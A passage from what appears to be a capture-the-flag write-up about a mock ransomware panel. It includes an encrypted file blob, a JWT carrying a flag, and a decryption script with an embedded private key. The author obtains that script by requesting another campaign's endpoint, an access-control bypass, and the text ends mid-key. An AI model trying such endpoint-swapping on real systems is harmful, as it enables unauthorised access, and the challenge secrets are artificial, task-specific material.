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","id":"78f39cf1-785e-4212-bfca-4de9ab36bbcb","name":"flag.png"}},"status":"success"}

But unfortunately we can't download the decryption tool:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function get_decrypt_tool() {
toast("error", "Mercenary mission, only destruction, no decryption tool will be provided.")
}

function edit_beacon() {
$.ajax({
url: api_url+"/beacon/update",
type: "POST",
data: JSON.stringify({id: beacon.id, name: $('#beacon_name').val(), state: $('#beacon_state').val()}),
contentType: "application/json",
headers: {
"Authorization": "Bearer " + localStorage.getItem('token')
},
success: function(response) {
toast("success", response.message);
},
error: function(response) {
toast("error", response.responseJSON['message']);
}
});
}

When trying to update the campaign we have this error:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /api/beacon/update HTTP/1.1
Host: xd33r.web.midnightflag.fr:31081
Content-Length: 71
Accept: */*
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiI4MjNkZjRlNi04MWQ1LTQzZDAtOWZiNi1kY2U0MDMwNWJlNmYiLCJsb2dnZWQiOnRydWUsImZsYWciOiJNQ1RGezJGQV9jMGRlX3NoMHVsZF9yM200MW5fczNjcjN0PyF9IiwiaWF0IjoxNjgxNjA3OTUxLCJleHAiOjE2ODE2MTE1NTF9.V5oJonY-_lFKl6158Vs9tcC9IF2BvZSPnuqWdAxLv7I
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36
Content-Type: application/json
Origin: http://xd33r.web.midnightflag.fr:31080
Referer: http://xd33r.web.midnightflag.fr:31080/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

{"id":"d2f2b880-1bb8-4cf3-a46e-c23e34fbdede","name":"ESNA","state":"1"}
1
2
3
4
5
6
7
8
9
10
HTTP/1.1 403 Forbidden
content-length: 98
connection: close
access-control-allow-credentials: true
vary: Origin, Access-Control-Request-Method, Access-Control-Request-Headers
content-type: application/json
access-control-allow-origin: http://xd33r.web.midnightflag.fr:31080
date: Sun, 16 Apr 2023 01:40:01 GMT

{"message":"State edition is only possible 7 days after creation of a campaign","status":"failed"}

Let's save the public key.

But to download the decryption tool we just have to go on an older campaign wand hope this is not custom to each campaign.

http://xd33r.web.midnightflag.fr:31081/api/beacon/925f7caa-e84f-4b77-ae5d-e4165b1cda27/decrypt_tool

The script loos like that:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import base64
import os
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP, AES
from Crypto.Random import get_random_bytes

def decrypt(private_key, encrypted_content):
private_cipher_rsa = PKCS1_OAEP.new(RSA.import_key(private_key))
clear_aes_key = private_cipher_rsa.decrypt(encrypted_content[:AES.block_size*16])
clear_aes_iv = private_cipher_rsa.decrypt(encrypted_content[AES.block_size*16:AES.block_size*16*2])
decrypt_cipher = AES.new(clear_aes_key, AES.MODE_CBC, clear_aes_iv)
return decrypt_cipher.decrypt(encrypted_content[AES.block_size*16*2:])

KEY_CONST = base64.b64decode("LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpNSUlFb2dJQkFBS0NBUUVBb0ZpYXM1RWlVVFBFVEY1WWVYTm9LQlZkNERxWFhJMHlwSndLQUtJWVlITCtIZUNJCm50STN5Z2VMUm1RNEEzR05lc3lPY05RMVRFRnRKSWIxQ1d2Zm5WVElYek4vMHpMekhHVWM2MGZXTUhuVW03MzgKampMUEd2UThwZ1pwZFdHNlVieDY3TmlUSklNaEdid3psMFhhbWVLYURUTWNBYkw1QlNVN091djUvZk9ETjc2SgpxclJvTGNTWGxpczFNbE45SVg3TDVBbnpka1diSkg2YmhyZEtqTmhGYkZRaWloRFU2aThGMDFodWFzdkNVUkRNClNDTWI3YkIyTUFoOHc3cXVmRmNZYm41Sk1iSzd6UFFpZjBrdENYRURiYkNFNDQ3Y1VhMDNZdXA0QjQ1b2lLbzkKZ2x6TFdSWVZMZmpjNVQzUmxscFNNeWVFZzFtQXp1RUJKRUIvUndJREFRQUJBb0lCQUNFYWFjWE1uc01ZNXR2RgpWb3FzVXNLRHRyL0dHTjJZb08zdThQbTBmVWZjTmE1QlhyTTdQeDFNZFdwdzRrZUR0K3UwTTJ3RHc0VWN0TVduCnZ3clU1SE44djJrNEhwbWhtU014bE1qV0tkZ1VMdHFBWEpXVzA3OEMwVXFOWkZSQmVzL0pFNisxL3BxNUg2cEsKZW5RdWpiVGJYV2FBT0xYNUZ3UUM3Ymw2WWtBVkkrdGp2ejJIQWVxR2ZNOFJwQ2x4bFNWc1lsT2g4ZTJqMzhlZApyV0hoaUhxZERmc0tHYmVyQTZYUDlJUUk5NmdwRE5xU09SOSt6dnM0WHJvM090ZzNHRUVGZDdndkxMMFpybjR5Ckt4WHQzTStiVnJaeURkaitoR3FoU1h1MldtMTBQL2JoNHYrSDI5VDdFd3JtUXhuQWZDeVlxeWtpT2hQUjJRK00KdnFUMFFuRUNnWUVBdUo2VUtWeWtoLzZING1EUHFialZ0dVJTUDRTRTRkYXZ5N1U1WXVqVVF0MlUwblAvYWZGUApOQnM3TjhZYkZnc1BnNFhZL1dVSzdJZlFwbnZsZjZQTEoydXFGeVkxakYwa01NM1A1NitESmVhK2VWUFV3MXpRCjZ6blYwQ3o2N3QraUhVSVZIV3dlbEp1cUU5Z3NkOE0zV21uOTJsUDJXbEowQTdVVGs5eUxzZU1DZ1lFQTNsZDYKZWJYbE0xNmxNNlY1ZEZVckFNeVF5OHUwVjNNTWthWUpyVlJPRStlZWFOMVBjbDNjVWRFZDZxa0xVdnFsZTdCQgpGYzdac3dMa2JkVm1oREZZRTJGbHozMDFPMHJoV1R5bzZyTFlMWTRXOXpQK0hGMWZ1Z3lsVmhaWFFmRDJ2OWhRCmNkWVZ2REV6WkxWVENVcGZXMzJOeDkrTFVhaStNVE9Ua0NOY2FrMENnWUFudXpqM2pkQjYwL1E2YTh0Rkkxb2EKK2hnWlExTzFwcFkrcU1tbzE2S1dvVWtkNFlqZUsraDN0a1NRUkRvZ0RGRlNaTVBHQkxETkpvMW94dEVsSHd